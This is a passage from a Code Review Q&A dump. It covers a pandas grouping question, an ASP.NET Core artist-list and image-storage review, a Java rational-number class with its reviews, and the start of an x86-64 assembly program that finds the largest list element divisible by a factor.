"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T00:41:19.103",
"Id": "489502",
"Score": "0",
"body": "Nice, looks a lot better."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T20:51:31.497",
"Id": "249412",
"ParentId": "249406",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T18:51:23.317",
"Id": "249406",
"Score": "4",
"Tags": [
"python",
"python-3.x"
],
"Title": "Martingale Betting Simulator"
}
|
249406
|
<p>I have a task that is quite simple: I need to get the sum of values in the categories of each ID, and keep the category with the highest sum:</p>
<pre><code>id category value
1 A 10
1 A 15
1 B 13
2 A 80
</code></pre>
<p>So, in this case the sum of <code>value</code> for each category-id pair would be:</p>
<pre><code>id category value
1 A 25
1 B 13
2 A 80
</code></pre>
<p>And then the maximum for <code>id</code> == 1 is 25 and for the other is 80, so the final dataframe is:</p>
<pre><code>id category value
1 A 25
2 A 80
</code></pre>
<p>I achieved this like this:</p>
<pre><code>(df.groupby(['id', 'category'])['value']
.sum().reset_index().sort_values(by=['id', 'value'])
.drop_duplicates(['id'], keep='last'))
</code></pre>
<p>I feel this can be done in lesser steps, maybe with some transform, but I can't find a better way. Any ideas?</p>
<p>Thanks</p>
|
[] |
[
{
"body": "<p>You could also do the following. Compute the first grouping by id and category, sum up the values:</p>\n<pre><code>y = df.groupby(["id","category"])["value"].sum()\n</code></pre>\n<p>Afterwards, grab the best category according to your definition:</p>\n<pre><code>y.groupby("category").sum().nlargest(1)\n</code></pre>\n<p>Combining these, so that we get the full job done:</p>\n<pre><code>y = df.groupby(["id","category"])["value"].sum()\ncat = y.groupby("category").sum().nlargest(1).index\ny.loc[:,cat]\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-15T15:14:06.627",
"Id": "493123",
"Score": "0",
"body": "I believe the original target was a max-sum category *per id*, rather than a single category overall? So `y.loc[y.groupby('id').idxmax()]`"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T17:35:36.243",
"Id": "249447",
"ParentId": "249407",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T18:59:52.907",
"Id": "249407",
"Score": "2",
"Tags": [
"python",
"pandas"
],
"Title": "Filtering of maximum value by ID and category sum"
}
|
249407
|
<p>I have a pet project (<a href="https://github.com/JwanKhalaf/Bejebeje" rel="nofollow noreferrer">open source on GitHub</a>) that I built as a learning exercise. It is a lyrics web application built in .NET Core MVC.</p>
<p>On the <a href="https://bejebeje.com/artists" rel="nofollow noreferrer">artists page</a> of the site (view on mobile size viewport, it is only optimised for mobiles so far), I list all artists alphabetically. The artists are grouped by letter.</p>
<p>The code that builds that page is the following:</p>
<p><strong>Controller</strong></p>
<pre><code>[Route("artists")]
public async Task<IActionResult> Index()
{
IDictionary<char, List<LibraryArtistViewModel>> viewModel = await _artistsService
.GetAllArtistsAsync();
return View(viewModel);
}
</code></pre>
<p><strong>Service</strong></p>
<pre><code>public async Task<IDictionary<char, List<LibraryArtistViewModel>>> GetAllArtistsAsync()
{
List<LibraryArtistViewModel> artists = new List<LibraryArtistViewModel>();
await using NpgsqlConnection connection = new NpgsqlConnection(databaseOptions.ConnectionString);
await connection.OpenAsync();
await using NpgsqlCommand command = new NpgsqlCommand("select a.first_name, a.last_name, \"as\".name as primary_slug, ai.data as image_data, count(l.title) as number_of_lyrics from artists a left join artist_images ai on ai.artist_id = a.id inner join artist_slugs \"as\" on \"as\".artist_id = a.id left join lyrics l on l.artist_id = a.id where a.is_approved = true and a.is_deleted = false and \"as\".is_primary = true and l.is_approved = true and l.is_deleted = false group by a.id, \"as\".name, ai.data order by a.first_name asc;", connection);
await using NpgsqlDataReader reader = await command.ExecuteReaderAsync();
while (await reader.ReadAsync())
{
LibraryArtistViewModel artist = new LibraryArtistViewModel();
string firstName = Convert.ToString(reader[0]);
string lastName = Convert.ToString(reader[1]);
string fullName = textInfo.ToTitleCase($"{firstName} {lastName}");
string primarySlug = Convert.ToString(reader[2]);
bool hasImage = reader[3] != System.DBNull.Value;
int numberOfLyrics = Convert.ToInt32(reader[4]);
artist.FirstName = firstName;
artist.LastName = lastName;
artist.FullName = fullName;
artist.PrimarySlug = primarySlug;
artist.HasImage = hasImage;
artist.NumberOfLyrics = numberOfLyrics;
artists.Add(artist);
}
IDictionary<char, List<LibraryArtistViewModel>> dictionary = BuildDictionary(artists);
return dictionary;
}
private IDictionary<char, List<LibraryArtistViewModel>> BuildDictionary(List<LibraryArtistViewModel> artists)
{
List<char> letters = new List<char>();
IDictionary<char, List<LibraryArtistViewModel>> dictionary =
new Dictionary<char, List<LibraryArtistViewModel>>();
foreach (LibraryArtistViewModel artist in artists)
{
char firstLetter = char.ToUpper(artist.FirstName[0]);
if (!letters.Contains(firstLetter))
{
letters.Add(firstLetter);
dictionary.Add(firstLetter, new List<LibraryArtistViewModel>());
}
}
foreach (char letter in letters)
{
foreach (LibraryArtistViewModel artist in artists)
{
char firstLetter = char.ToUpper(artist.FirstName[0]);
if (letter == firstLetter)
{
List<LibraryArtistViewModel> artistsBeginningWithTheLetter = dictionary[letter];
artistsBeginningWithTheLetter.Add(artist);
}
}
}
return dictionary;
}
</code></pre>
<p>The code above works, but I feel like it isn't efficient. I feel like there's a better way of doing this.</p>
<p>Also, I am <strong>very unsure</strong> about <a href="https://github.com/JwanKhalaf/Bejebeje/blob/develop/Bejebeje.Mvc/Controllers/ArtistImageController.cs" rel="nofollow noreferrer">the way I serve up images</a>. My images are currently stored in the database as bytes and I have a controller that serves up the image. This seems to be really killing my performance metrics on <a href="https://web.dev" rel="nofollow noreferrer">https://web.dev</a>.</p>
<p>I built this project to learn things. So I'd really love to learn how to do things "properly" even if they are deemed an overkill.</p>
<p>I'd appreciate some pointers on the above and also on how exactly I can improve the artist images situation.</p>
<p><a href="https://i.stack.imgur.com/9uWRf.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9uWRf.png" alt="web metrics" /></a></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T07:51:50.620",
"Id": "488936",
"Score": "0",
"body": "Instead of ADO.NET, use https://dapper-tutorial.net/ ."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T07:54:47.800",
"Id": "488937",
"Score": "0",
"body": "Isn't ADO.NET faster? I am familiar with Entity Framework, but consciously decided to go ADO.NET route to also re-sharpen my raw SQL. It had been ages since I had written raw SQL and was actually losing that knwoeldge cause all my projects at work and home were all done with EF as the ORM."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T13:01:43.410",
"Id": "488988",
"Score": "0",
"body": "Dapper isn't EF. You still need to know sql etc., you just don't waste time and effort on writing your own \"convert sql data to proper values\" code. WRT performance: https://exceptionnotfound.net/dapper-vs-entity-framework-vs-ado-net-performance-benchmarking/ ."
}
] |
[
{
"body": "<p>Well, you have a good <code>learning exercise</code> project. here is some notes on the artiest code you've provided :</p>\n<ul>\n<li>You're using <code>string</code> query, which opens <code>SQL Injections</code>. To overcome that, you'll need first to mark your query as <code>const</code> or <code>readonly</code> and end the query with a semicolon (which you did), and ensure that the query itself not having any <code>SQL</code> bugs that might be used in inappropriate way. However, if you want the proper way to manager your database, you can use <code>Object-relational Mapping</code> AKA <code>ORM</code> such as <strong><code>Entity Framework</code></strong>.</li>\n<li>Store images in a psychical disk and store their path (or filename) into the database. Storing the file bytes into the database would impact the system performance as you'll need to read and render the images every time you select them. While if you store the files physically, it would be faster to render. So, create a folder inside the project folder, store the images in that folder (in any structure you want) then store the path of each image in the database. Then, in your application, you just get the path, adjust the path to be viewable to the user. For example, if the stored path <code>images/artists/someartist.png</code> then you just add the current web url to it like <code>https://www.somewebsite.com/images/artists/someartist.png</code>.</li>\n<li>Always use <code>PNG</code> images for web, as <code>png</code> images are more balanced between the quality and size, and would be better option than other types for the web.</li>\n</ul>\n<p>In your code, sorting operations should not be done on the presentation layer, in fact, it would be more beneficial if it's moved to early application stages like sorting artists in your case, your application has a core feature to filter artists names in alphabetical order. This means, this functionality needs to be applied to the data before it's even inserted to the database, because it's used as a core feature and not an addon functionality.</p>\n<p>There are different ways to do it though, one way is to add a property stores the first name letter like this :</p>\n<pre><code>public class LibraryArtistViewModel\n{\n public char FirstLetter => FirstName?.Length > 0 ? FirstName.ToUpper()[0] : char.MinValue;\n\n public string FirstName { get; set; }\n\n public string LastName { get; set; }\n\n public string FullName { get; set; }\n\n public string PrimarySlug { get; set; }\n\n public bool HasImage { get; set; }\n\n public int NumberOfLyrics { get; set; }\n \n}\n</code></pre>\n<p>Then, you would do this in <code>GetAllArtistsAsync()</code>:</p>\n<pre><code> while (await reader.ReadAsync())\n\n {\n var artist = new LibraryArtistViewModel\n {\n FirstName = reader[0]?.ToString(),\n LastName = reader[1]?.ToString(),\n FullName = textInfo.ToTitleCase($"{reader[0]?.ToString()} {reader[1]?.ToString()}"),\n PrimarySlug = reader[2]?.ToString(),\n HasImage = reader[3] != System.DBNull.Value;\n NumberOfLyrics = int.TryParse(reader[4]?.ToString(), out int number) ? number : 0; \n };\n \n artists.Add(artist);\n }\n \n var dictionary = artists.GroupBy(x=> x.FirstLetter).ToDictionary(x => x.Key, x => x.ToList()).OrderBy(x=> x.Key);\n</code></pre>\n<p>Though this would give you what you want, it would take out some tiny performance. As I stated before, since your artists are supposed to be sorted, you need to sort it from the time you insert the data, either from the database which would be faster, or on <code>CreateNewArtistAsync</code> action. So, in your <code>Get</code> you won't need to re-sort on every request.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T23:35:46.227",
"Id": "488892",
"Score": "0",
"body": "Physical disk or S3? Also, how do I handle storing multiple dimensions of the same image? How should I name the images? SEO friendly names (e.g. `bb-king-60x60.png` or the artist id from the database?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T23:46:03.880",
"Id": "488895",
"Score": "0",
"body": "@J86 store it on physical disk (on the server side). and about the multiple dimensions, either use naming convention or you could store them in a sub-folder like `images/artists/small/someartist.png` or you can use some other third-party libraries on Nuget or Javascript to resize the images dynamically."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T04:31:04.207",
"Id": "488908",
"Score": "0",
"body": "@J86 storing on physical disk of the server is ok as long as you dont run multiple instances behind a load balancer. Otherwise the image will be stored on the Machine that processed the insert request And unavailable to all the other instances."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T07:03:39.853",
"Id": "488928",
"Score": "0",
"body": "@slepic true, I was thinking of deploying this whole thing on Kubernetes (again for learning). Everything is already dockerised and I have nginx as a proxy server directing traffic to the docker containers. The next step as far as DevOps go will be to deploy it on K8s. So I think S3 would be better, not to mention I get to learn how to store/retrieve programtically to/from AWS S3."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T22:38:40.713",
"Id": "249413",
"ParentId": "249408",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T19:12:30.377",
"Id": "249408",
"Score": "6",
"Tags": [
"c#",
"mvc",
"asp.net-core"
],
"Title": "Making an alphabatical list grouped by letters"
}
|
249408
|
<p>This is exercise 3.2.7. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne:</p>
<p>Implement a data type for rational numbers that supports addition, subtraction, multiplication, and division.</p>
<p>Here is my program:</p>
<pre><code>public class Rational
{
private final int numerator;
private final int denominator;
public Rational(int numerator, int denominator)
{
this.numerator = numerator;
this.denominator = denominator;
}
public int getNumerator()
{
return numerator;
}
public int getDenominator()
{
return denominator;
}
public Rational swapSigns()
{
if (numerator > 0 && denominator < 0)
{
return new Rational(-1*numerator,-1*denominator);
}
else if (numerator < 0 && denominator < 0)
{
return new Rational(-1*numerator,-1*denominator);
}
else
{
return new Rational(numerator,denominator);
}
}
public Rational inverse()
{
return new Rational(denominator,numerator);
}
public Rational simplify()
{
int gcd = Number.calculateGCDRecursively(Math.abs(numerator),denominator);
return new Rational(numerator/gcd,denominator/gcd);
}
public Rational add(Rational otherRational)
{
otherRational = otherRational.swapSigns();
int otherNumerator = otherRational.getNumerator();
int otherDenominator = otherRational.getDenominator();
int newDenominator = denominator*otherDenominator;
int newNumerator = numerator*otherDenominator+denominator*otherNumerator;
return new Rational(newNumerator,newDenominator).simplify();
}
public Rational subtract(Rational otherRational)
{
Rational oldRational = new Rational(numerator, denominator);
int newNumerator = -1*otherRational.getNumerator();
Rational newRational = new Rational(newNumerator,otherRational.getDenominator());
return oldRational.add(newRational);
}
public Rational multipply(Rational otherRational)
{
otherRational = otherRational.swapSigns();
int otherNumerator = otherRational.getNumerator();
int otherDenominator = otherRational.getDenominator();
int newNumerator = numerator*otherNumerator;
int newDenominator = denominator*otherDenominator;
return new Rational(newNumerator,newDenominator).simplify();
}
public Rational divide(Rational otherRational)
{
Rational oldRational = new Rational(numerator, denominator);
Rational newRational = otherRational.inverse();
return oldRational.multipply(newRational);
}
public String toString()
{
Rational oldRational = new Rational(numerator, denominator);
oldRational = oldRational.swapSigns();
return oldRational.getNumerator() + "/" + oldRational.getDenominator();
}
public static void main(String[] args)
{
int numerator1 = Integer.parseInt(args[0]);
int denominator1 = Integer.parseInt(args[1]);
int numerator2 = Integer.parseInt(args[2]);
int denominator2 = Integer.parseInt(args[3]);
Rational rational1 = new Rational(numerator1,denominator1);
Rational rational2 = new Rational(numerator2,denominator2);
System.out.println(rational1.toString() + " plus " + rational2.toString() + " is equal to " + rational1.add(rational2).toString());
System.out.println(rational1.toString() + " minus " + rational2.toString() + " is equal to " + rational1.subtract(rational2).toString());
System.out.println(rational1.toString() + " times " + rational2.toString() + " is equal to " + rational1.multipply(rational2).toString());
System.out.println(rational1.toString() + " divided by " + rational2.toString() + " is equal to " + rational1.divide(rational2).toString());
}
}
</code></pre>
<p>Also I wrote the method <code>calculateGCDRecursively</code> as follows:</p>
<pre><code>public static int calculateGCDRecursively(int p, int q)
{
if (q == 0) return p;
return calculateGCDRecursively(q, p % q);
}
</code></pre>
<p>I checked my program and it works correctly. Here are 4 different instances of it:</p>
<hr />
<pre class="lang-none prettyprint-override"><code>Input: 3 4 4 5
Output:
3/4 plus 4/5 is equal to 31/20
3/4 minus 4/5 is equal to -1/20
3/4 times 4/5 is equal to 3/5
3/4 divided by 4/5 is equal to 15/16
Input: 3 4 -4 5
Output:
3/4 plus -4/5 is equal to -1/20
3/4 minus -4/5 is equal to 31/20
3/4 times -4/5 is equal to -3/5
3/4 divided by -4/5 is equal to -15/16
Input: 3 4 4 -5
Output:
3/4 plus -4/5 is equal to -1/20
3/4 minus -4/5 is equal to 31/20
3/4 times -4/5 is equal to -3/5
3/4 divided by -4/5 is equal to -15/16
Input: 3 4 -4 -5
Output:
3/4 plus 4/5 is equal to 31/20
3/4 minus 4/5 is equal to -1/20
3/4 times 4/5 is equal to 3/5
3/4 divided by 4/5 is equal to 15/16
</code></pre>
<hr />
<p>Is there any way that I can improve my program?</p>
<p>Thanks for your attention.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T01:17:54.280",
"Id": "488903",
"Score": "2",
"body": "Please put your code through a formatter to reformat it according to some standard. That makes it more readable and gives you an idea of how to write code in a more standardised style.\n\nhttps://www.tutorialspoint.com/online_java_formatter.htm"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:05:40.273",
"Id": "488949",
"Score": "0",
"body": "I was not aware of the existence of such a website. Thank you very much."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T13:08:03.747",
"Id": "489124",
"Score": "0",
"body": "Not sure why you wrote a recursive GCD implementation when Java doesn't support tail recursion. Granted, you are not likely to do so many recursion steps that you overrun the stack but still, an iterative (loop-based) method would be preferred in Java."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T12:18:42.370",
"Id": "489245",
"Score": "0",
"body": "@dumetrulo There wasn't any particular reason (maybe it was just faster to write) and I absolutely agree with you. I was just more focused on the data-type implementation which I am currently learning."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T12:22:36.270",
"Id": "489247",
"Score": "1",
"body": "This question reminded me that there is a very similar question in the SICP book, and I wrote an implementation of a Rational module in F# some time ago. It is less object-oriented but otherwise looks quite similar to your Java implementation."
}
] |
[
{
"body": "<p>As always, nice implementation. Few suggestions about the code:</p>\n<ul>\n<li><strong>Divide by 0</strong> must not be allowed. Adding a check in the constructor should be enough:\n<pre><code>public Rational(int numerator, int denominator) {\n if (denominator == 0) {\n throw new IllegalArgumentException("Denominator cannot be 0");\n }\n this.numerator = numerator;\n this.denominator = denominator;\n}\n</code></pre>\n</li>\n<li><strong>Reverse the sign</strong>: instead of <code>-1*numerator</code> you can use <code>-numerator</code>. It's more compact and still readable.</li>\n<li><strong>Swap sign</strong>: the method <code>swapSigns</code> can be simplified from:\n<pre><code>public Rational swapSigns() {\n if (numerator > 0 && denominator < 0) {\n return new Rational(-1 * numerator, -1 * denominator);\n } else if (numerator < 0 && denominator < 0) {\n return new Rational(-1 * numerator, -1 * denominator);\n } else {\n return new Rational(numerator, denominator);\n }\n}\n</code></pre>\nTo:\n<pre><code>private Rational swapSigns() {\n if (denominator < 0) {\n return new Rational(-numerator, -denominator);\n } else {\n return new Rational(numerator, denominator);\n }\n}\n</code></pre>\nAdditionally, <code>swapSigns</code> seems to be used only internally by <code>toString</code> and before any operations. I think it makes sense to "swap the signs" in the constructor, for example:\n<pre><code>public Rational(int numerator, int denominator) {\n if (denominator == 0) {\n throw new ArithmeticException("Denominator cannot be 0");\n }\n // Change 3/-4 to -3/4 or -3/-4 to 3/4\n this.numerator = denominator < 0 ? -numerator : numerator;\n this.denominator = denominator < 0 ? -denominator : denominator;\n}\n</code></pre>\nSo that <code>swapSign</code> can be removed.</li>\n<li><strong>Code format</strong>: as @user985366 suggested, format the code to make it more readable and concise. Modern IDE like Eclipse and IntelliJ provide that function.</li>\n<li><strong>Typo</strong> in the method <code>multipply</code>.</li>\n<li><strong><code>Rational</code> is immutable</strong>: which means that there is no need to create temporary objects like <code>oldRational</code>:\n<pre><code>public Rational subtract(Rational otherRational){\n Rational oldRational = new Rational(numerator, denominator);\n int newNumerator = -1*otherRational.getNumerator();\n Rational newRational = new Rational(newNumerator,otherRational.getDenominator());\n return oldRational.add(newRational);\n}\n</code></pre>\nCan be simplified to:\n<pre><code>public Rational subtract(Rational otherRational) {\n int newNumerator = -otherRational.getNumerator();\n Rational newRational = new Rational(newNumerator, otherRational.getDenominator());\n return add(newRational);\n}\n</code></pre>\nSimilarly for <code>multiply</code>, <code>divide</code> and <code>toString</code>.</li>\n</ul>\n<h2>Testing</h2>\n<p>Testing in the main is not good practice, because the program needs to be "tested" by us looking at the output. Also it's not uncommon to see applications with hundreds or thousands of tests. In that case, testing in the main would be infeasible.</p>\n<p>Use <a href=\"https://junit.org/junit5/\" rel=\"nofollow noreferrer\">Junit</a> for tests, few examples below:</p>\n<pre><code>import org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\npublic class RationalTest {\n \n @Test\n public void testAddPositive() {\n Rational a = new Rational(3, 4);\n Rational b = new Rational(4, 5);\n\n Rational actual = a.add(b);\n\n Assertions.assertEquals(31, actual.getNumerator());\n Assertions.assertEquals(20, actual.getDenominator());\n }\n\n @Test\n public void testAddNegative() {\n Rational a = new Rational(3, 4);\n Rational b = new Rational(-4, 5);\n\n Rational actual = a.add(b);\n\n Assertions.assertEquals(-1, actual.getNumerator());\n Assertions.assertEquals(20, actual.getDenominator());\n }\n\n @Test\n public void testAddNegative2() {\n Rational a = new Rational(3, 4);\n Rational b = new Rational(4, -5);\n\n Rational actual = a.add(b);\n\n Assertions.assertEquals(-1, actual.getNumerator());\n Assertions.assertEquals(20, actual.getDenominator());\n }\n\n @Test\n public void testSubstract() {\n Rational a = new Rational(3, 4);\n Rational b = new Rational(4, 5);\n\n Rational actual = a.subtract(b);\n\n Assertions.assertEquals(-1, actual.getNumerator());\n Assertions.assertEquals(20, actual.getDenominator());\n }\n\n @Test\n public void testDivideBy0() {\n Assertions.assertThrows(IllegalArgumentException.class, () -> {\n new Rational(3, 0);\n }, "Denominator cannot be 0");\n }\n\n //... more tests\n}\n</code></pre>\n<p>Refactored <code>Rational</code>:</p>\n<pre><code>public class Rational {\n private final int numerator;\n private final int denominator;\n\n public Rational(int numerator, int denominator) {\n if (denominator == 0) {\n throw new IllegalArgumentException("Denominator cannot be 0");\n }\n // Change 3/-4 to -3/4 or -3/-4 to 3/4\n this.numerator = denominator < 0 ? -numerator : numerator;\n this.denominator = denominator < 0 ? -denominator : denominator;\n }\n\n public int getNumerator() {\n return numerator;\n }\n\n public int getDenominator() {\n return denominator;\n }\n\n public Rational inverse() {\n return new Rational(denominator, numerator);\n }\n\n public Rational simplify() {\n int gcd = Number.calculateGCDRecursively(Math.abs(numerator), denominator);\n return new Rational(numerator / gcd, denominator / gcd);\n }\n\n public Rational add(Rational otherRational) {\n int otherNumerator = otherRational.getNumerator();\n int otherDenominator = otherRational.getDenominator();\n int newDenominator = denominator * otherDenominator;\n int newNumerator = numerator * otherDenominator + denominator * otherNumerator;\n return new Rational(newNumerator, newDenominator).simplify();\n }\n\n public Rational subtract(Rational otherRational) {\n int newNumerator = -otherRational.getNumerator();\n Rational newRational = new Rational(newNumerator, otherRational.getDenominator());\n return add(newRational);\n }\n\n public Rational multiply(Rational otherRational) {\n int otherNumerator = otherRational.getNumerator();\n int otherDenominator = otherRational.getDenominator();\n int newNumerator = numerator * otherNumerator;\n int newDenominator = denominator * otherDenominator;\n return new Rational(newNumerator, newDenominator).simplify();\n }\n\n public Rational divide(Rational otherRational) {\n return multiply(otherRational.inverse());\n }\n\n public String toString() {\n return String.format("%d/%d", numerator, denominator);\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:07:39.127",
"Id": "488952",
"Score": "1",
"body": "I always find your suggestions very helpful. Thank you very much. :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T14:04:05.760",
"Id": "489253",
"Score": "1",
"body": "Very nice review. Only thing that bothers me is the naming of the parameters, because of the type you already *know* its a `Rational`, so why add it to the name as well? It makes it a bit too verbose imho."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T06:10:15.573",
"Id": "489420",
"Score": "0",
"body": "@RobAu thanks. You are totally right, but I was too lazy to rename the variables. I hope OP will remember your suggestion for the next time."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T03:01:59.433",
"Id": "249418",
"ParentId": "249411",
"Score": "9"
}
},
{
"body": "<p>In addition to Marc's answer:</p>\n<p>Add some test cases needing simplification of the result, e.g. 1/10 + 1/15 = 1/6.</p>\n<p>If numerators or denominators reach ~50000, their products (computed in intermediate steps) will exceed the integer range, even if the simplified result fits well into that range. You can improve that by using <code>long</code> for the intermediate calculations and check for the integer range before creating the new Rational. Your current version will silently produce wrong results. Throwing an <code>ArithmeticException</code> in such a case would be better.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T12:20:07.323",
"Id": "489246",
"Score": "0",
"body": "Thank you very much."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T11:26:12.923",
"Id": "249535",
"ParentId": "249411",
"Score": "4"
}
},
{
"body": "<p>This is not a complete answer, only a couple of observations. This answer sits on top of <a href=\"https://codereview.stackexchange.com/a/249418/1581\">Marc's excellent answer</a> and further refines his code.</p>\n<p>Here's what I did:</p>\n<ul>\n<li>The biggest change is that I changed <code>class Rational</code> into a <code>record</code>. The reduction in code is not quite as dramatic as in some of the artificial examples you have probably seen, since we're not using the auto-generated <code>toString()</code> and constructor, but still, we get rid of the getters and the field declarations. Plus, we get sensible implementations of <code>hashCode()</code> and <code>equals()</code> for free!</li>\n<li>I inlined <code>simplify()</code> into the constructor, so that a <code>Rational</code> is always simplified; no need to explicitly call <code>simplify()</code> in <code>multiply()</code> and <code>add()</code>.</li>\n<li>I also inlined some of the local variables in several methods.</li>\n<li>I added some whitespace to give the code more room to breathe, and visually distinguish the "steps" in the methods.</li>\n<li>I made everything that <em>can</em> be <code>final</code> actually <code>final</code>.</li>\n<li>I used local variable type inference wherever possible.</li>\n<li>I renamed some local variables and method parameters.</li>\n<li>I renamed the <code>calculateGcdRecursively</code> method to just <code>gcd</code>. Nobody cares whether the method uses recursion, iteration, a web API call, magic pixie dust, or prints out the problem, faxes it to Malaysia, and has some guy in a garage solve it. Nor <em>should</em> they care, and in fact they shouldn't be able to know. That's what encapsulation is all about. Also, of course it calculates the GCD, what else would it do with it? Those two words are redundant. Really, the only word that <em>maybe</em> should be spelled out is <code>GreatestCommonDivisor</code>, but remember that code is written for an audience, and I believe that the kind of audience that reads the internal implementation of a <code>Rational</code> should know what a <code>gcd</code> is.</li>\n<li>I added an <code>@Override</code> annotation to the <code>toString()</code> method, for good measure.</li>\n<li>And some minor formatting changes.</li>\n</ul>\n<p>And this is what the result looks like:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public record Rational(final int numerator, final int denominator) {\n public Rational(int numerator, int denominator) {\n if (denominator == 0) {\n throw new IllegalArgumentException("Denominator cannot be 0");\n }\n\n // Change 3/-4 to -3/4 or -3/-4 to 3/4\n numerator = denominator < 0 ? -numerator : numerator;\n denominator = denominator < 0 ? -denominator : denominator;\n\n final var gcd = gcd(Math.abs(numerator), denominator);\n\n this.numerator = numerator / gcd;\n this.denominator = denominator / gcd;\n }\n\n public Rational inverse() {\n return new Rational(denominator, numerator);\n }\n\n public Rational add(final Rational other) {\n final var otherNumerator = other.numerator;\n final var otherDenominator = other.denominator;\n\n final var newDenominator = denominator * otherDenominator;\n final var newNumerator = numerator * otherDenominator + denominator * otherNumerator;\n\n return new Rational(newNumerator, newDenominator);\n }\n\n public Rational subtract(final Rational other) {\n return add(new Rational(-other.numerator, other.denominator));\n }\n\n public Rational multiply(final Rational other) {\n final var otherNumerator = other.numerator;\n final var otherDenominator = other.denominator;\n\n final var newNumerator = numerator * otherNumerator;\n final var newDenominator = denominator * otherDenominator;\n\n return new Rational(newNumerator, newDenominator);\n }\n\n public Rational divide(final Rational other) {\n return multiply(other.inverse());\n }\n\n @Override public String toString() {\n return String.format("%d/%d", numerator, denominator);\n }\n\n private static int gcd(final int p, final int q) {\n if (q == 0) { return p; }\n return gcd(q, p % q);\n }\n}\n</code></pre>\n<p>I personally find this somewhat easier to read, although all praise should go to Marc. However, I admit that almost all of it is highly opinion-based. Also, Records are an experimental feature, and thus may change in an incompatible manner, or be removed from the language completely, at any time without warning. Plus, they require ugly command line options to work.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T20:54:17.537",
"Id": "489346",
"Score": "0",
"body": "Kudos for showing alternatives, but you're right, \"almost all of it is highly opinion-based\". E.g. using \"var\" makes code less verbose, but hides the exact data type, declaring \"final\" helps to avoid mistakes, but makes code more verbose."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T20:38:22.293",
"Id": "249555",
"ParentId": "249411",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249418",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T20:34:04.543",
"Id": "249411",
"Score": "6",
"Tags": [
"java",
"beginner",
"object-oriented"
],
"Title": "Data-type implementation for rational numbers"
}
|
249411
|
<p>I have written the following basic assembly program to find the maximum number in a list divisible by a number. Here is what I have thus far:</p>
<pre><code># Program: given a list or integers and a factor
# Find the max number in the list that the factor divides
# For example: INPUT: [3,9,50,27], factor: 3 | OUTPUT: 27
.section .rodata
nums: .long 3,9,50,27,-1
factor: .long 3
.section .data
cur_value: .long -1
# first three args: %edi, %esi, %edx
.section .text
.globl _start
_start:
# SETUP
# %r8 will store the array index
# %r11 will store the max value
# %esi will store the factor/divisor.
mov $0, %r10d
mov $0, %r11d
mov factor, %esi
loop:
# get current value and store it in %rdi
# we'll also update our variable for `cur_value`
mov nums(, %r10d, 4), %edi
cmp $-1, %edi
je exit
movl %edi, cur_value
# Call the function and increment the aray index
call is_divisible_by
inc %r10d
# if it was NOT divisible (rax = False or 0) jump back to the beginning
cmp $0, %rax
je loop
# if it was divisible, check to make sure it's larger than the current max
cmp %r11d, cur_value
jl loop
mov cur_value, %r11d
jmp loop
exit:
mov %r11d, %edi
mov $60, %eax
syscall
is_divisible_by:
# Return 0 (false) if not divisible; 1 (true) if divisible
# A (dividend, %eax) / B (divisor)
# dividend needs to first be moved into eax
mov %edi, %eax
# divide by a register, immediate, or memory address
# this is unsigned (positive), use idiv for signed
div %esi
# the resultant integer quotient goes in %eax, and the remainder goes in %edx
# if %rdx is zero it means A is divisible by B: we don't care about %eax
mov $0, %eax
cmp $0, %edx
jne end
mov $1, %rax
end:
ret
</code></pre>
<p>It's compiled using:</p>
